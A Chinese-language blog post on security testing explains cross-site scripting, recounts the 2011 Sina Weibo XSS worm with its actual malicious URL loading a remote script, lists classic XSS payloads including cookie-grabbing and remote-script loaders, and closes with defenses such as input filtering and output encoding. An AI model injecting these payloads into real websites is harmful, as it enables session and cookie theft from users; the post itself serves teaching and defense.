安全测试之XSS攻击
XSS (跨站脚本攻击)是什么?它的全名是:Cross-site scripting,为了和CSS层叠样式表区分所以取名XSS。是一种网站应用程序的安全漏洞攻击,是代码注入的一种。它允许恶意用户将代码注入到网页上,攻击成功后,攻击者可能得到包括但不限于更高的权限(如执行一些操作)、私密网页内容、会话和cookie等各种内容,甚至其他用户在观看网页时就会受到影响。这类攻击通常包含了HTML以及用户端脚本语言。
XSS攻击有两种方法:
一类是来自内部的攻击,主要指的是利用网页自身的漏洞,将恶意脚本注入到网页,当用户访问此页面时,恶意脚本也会跟着执行,这样恶意脚本就能利用到用户的所有状态数据执行恶意操作,称为存储型XSS。2011年新浪微博的XSS攻击就是此类,主要是通过未过滤处理的URL中的参数来加载攻击者已写好的脚本,并且使用短链服务将URL伪装,然后通过诱人的话题欺骗用户访问该链接后在浏览器运行,达到攻击的目的。如将
http://163.fm/PxZHoxn指向
http://weibo.com/pub/star/g/xyyyd%22%3E%3Cscript%20src=//www.2kt.cn/images/t.js%3E%3C/script%3E?type=update。所以我们应该严防短链接。
它利用脚本提前闭合标签来达到执行该脚本的目的。
例如输入内容:
<script>alert(document.cookie)</script>
"/><script>alert(document.cookie)</script>
" οnlοad="jQuery.getScript('js文件地址')
" οnlοad="with(document)body.appendChild(createElement('script')).src='js文件地址'
< INPUT SRC=”javascript:alert(‘XSS’);”>
< IFRAME SRC=”javascript:alert(‘XSS’);”></IFRAME>
<STYLE>.XSS{background-image:url(“javascript:alert(‘XSS’)”);}</STYLE><A CLASS=XSS></A>
< EMBED SRC=”http://3w.org/XSS/xss.swf” ></EMBED> 嵌入flash,包含了XSS
<A HREF=”http://127.0.0.1/”>XSS</A>
另一类则是来自外部的攻击,主要指的自己构造XSS跨站漏洞网页或者寻找非目标机以外的有跨站漏洞的网页。如当我们要渗透一个站点,我们自己构造一个有跨站漏洞的网页(当然傻子才这么干),然后构造跨站脚本如收集cookie的JS上传到这个站点A上,通过目标服务器B的漏洞(如http://www.b.com?content=<script src=”www.a.com?hack.js”></script>)通过再结合其它技术,如社会工程学等,欺骗目标服务器的管理员打开这个URL使JS执行发送cookie到A上。称之为反射型XSS。它的危害不及存储型XSS,因为只对当前页面访问产生影响,是一次性的。
如何防范?
1. 输入校验
对 用户的所有输入数据进行检测,比如过滤其中的“<”、“>”、“/”、双引号等可能导致脚本注入的特殊字符,或者过滤“script”、 “javascript”等脚本关键字,或者对输入数据的长度及格式进行限制等等。同时,我们也要考虑用户可能绕开ASCII码,使用十六进制编码如 “<</span>”(“<”)、“>”(“>”)等来输入脚本。因此,对用户输入的十六进制编码,我们也要进行相 应的过滤。只要开发人员能够严格检测每一处交互点,保证对所有用户可能的输入都进行检测和XSS过滤,就能够有效地阻止XSS攻击。
2. 输出编码
通过前面对XSS攻击的分析,我们可以看到,之所以会产生XSS攻击,就是因为Web应用程序将用户的输入直接嵌入到某个页面当中,作为该页面的HTML代 码的一部分。因此,当Web应用程序将用户的输入数据输出到目标页面中时,只要先对这些数据进行编码,然后再输出到目标页面中。这样,如果用户输入一些HTML的脚本,也会被当成普通的文字,而不会成为目标页面HTML代码的一部分得到执行。
3. 严防外部的Javascript
外部的Javascript一旦引入了,这些脚本就能够操纵你的HTML页面,窃取敏感信息或者发起钓鱼攻击等等。
【推荐】
之前涉及到网络安全方面的文章,关注微信后可以输入数字查阅:
010:再谈SESSION和COOKIE之间的区别与联系
021:struts漏洞
025:使用HttpOnly提升Cookie安全性
033:安全测试之前言
034:安全性测试之认证授权
035:安全测试之SQL注入
安全测试之XSS攻击相关推荐
- web安全测试之 xss攻击
web安全测试之 xss攻击 软件测试资源分享| 免费软件测试资料 一. 背景知识 1. 什么是 XSS 攻击? XSS 攻击: 跨站脚本攻击(Cross Site Scripting) , 为不和层 ...
- 安全测试之xss攻击和mysql注入
xss概念: xss(Cross Site Script)跨站脚本攻击,为不和层叠样式表(css)混淆,写为xss 存在位置:web应用系统最常见软件安全漏洞 后果:代码植入到系统页面,篡改数据.盗取 ...
- 渗透测试之XSS(跨站脚本攻击)
文章目录 XSS 漏洞概述 XSS 分类 XSS 危害 XSS 漏洞的验证 XSS 的构造 XSS 的变形(绕过方式) Shellcode 的调用 远程调用JS windows.location.ha ...
- WEB三大攻击之—XSS攻击与防护
From:https://www.daguanren.cc/post/xss-introduction.html XSS的背景与介绍 背景 随着互联网的发展,网站经历由单纯的只读模式到web2.0兴起 ...
- vue 如何防止xss攻击 框架_LearningNotes-1/Vue/Vue中防止XSS脚本攻击 at master · axuu/LearningNotes-1 · GitHub...
Vue中防止XSS脚本攻击 最近写了一个博客评论模块,因为引入了表情包,所以就将原来的v-text的形式,改成了v-html,也就是渲染html标签,但是这样不可不免的会带来问题,就是XSS跨站脚本攻 ...
- AntiXSS - 支持Html同时防止XSS攻击
跨站脚本攻击(XSS)已经不是什么新鲜的话题了,甚至很多大公司也为此吃尽苦头.最简单直接的防范方法,就是不允许任何html标签输入,对用户输入进行编码(htmlencode). 但是如果想用户输入支持 ...
- 如何php防止XSS攻击
什么是XSS:这里通俗的讲,就像是SQL注入一样,XSS攻击也可以算是对HTML和JS的一种注入.你本来希望得到是从用户那得到一段有用的文本文字,但用户提交给你的却是别有用心的可执行javascrip ...
- 使用 PHP 构建的 Web 应用如何避免 XSS 攻击
本文首先简单介绍开发测试人员如何对 Web 应用进行 XSS 漏洞测试,如何借助工具绕过客户端 JavaScript 校验输入恶意数据:然后针对使用 PHP 语言构建的 Web 站点,从在输出端对动态 ...
- 【原创】腾讯微博的XSS攻击漏洞
相信大家都知道新浪微博在6月28日发生的XSS攻击事件了吧?在那晚里,大量新浪微博用户自动发送微博信息和自动关注一名叫"hellosamy"的用户. 究竟XSS攻击为什么能有这么大 ...
最新文章
- unet3 动态分辨率支持
- Windows 10累积更新发布:RS3正式版前最后一更
- fedora15换主题
- Go语言集合(Map)
- TCP/IP 三次握手和四次挥手
- groovy怎样从sql语句中截取表名_Mysql和SQL
- Diango博客--11.Nginx + Gunicorn + Supervisor 方式部署
- 3 设置网格数的大小_流体仿真中,六面体(Hex)网格的求解效率真的比四面体(Tet)高”很多”么?...
- delphi三方控件的安装方法
- C# WinForm开发系列 - Thread/Delegate/Event
- sql自动生成编码函数
- 计算机专业英语课后答案北京理工大学,计算机专业英语
- json文件使用tips
- 汽车系统英文缩写大全,值得收藏
- 阿里Java开发手册(2021最新终极版) 编程必备
- 什么是光电耦合器?光耦有哪些类型
- Python文件名繁体转简体
- 30 行代码实现蚂蚁森林自动收能量
- CES Asia展华为秀肌肉,布局智能互联生态
- vscode Android调试
热门文章
- Linux(Windows)下如何改变网卡的LinkSpeed工作模式
- Linux中mmap与munmap函数系统调用
- golang的包管理系统比较
- RequireJs的使用和快速理解
- RHCS创建高可用性群集Apache服务器
- 富文本编辑_博客的后台富文本编辑和阅读计数
- java内连接外连接_SQL中的内连接与外连接--Java学习网
- mysql反弹提权_MySQL数据库反弹端口连接提权
- gcc离线安装 ubuntu 不用编译_Ubuntu快速搭建C++开发环境(VS Code编辑器)
- 激光打标软件_走向工业自动化生产之路——激光飞行打标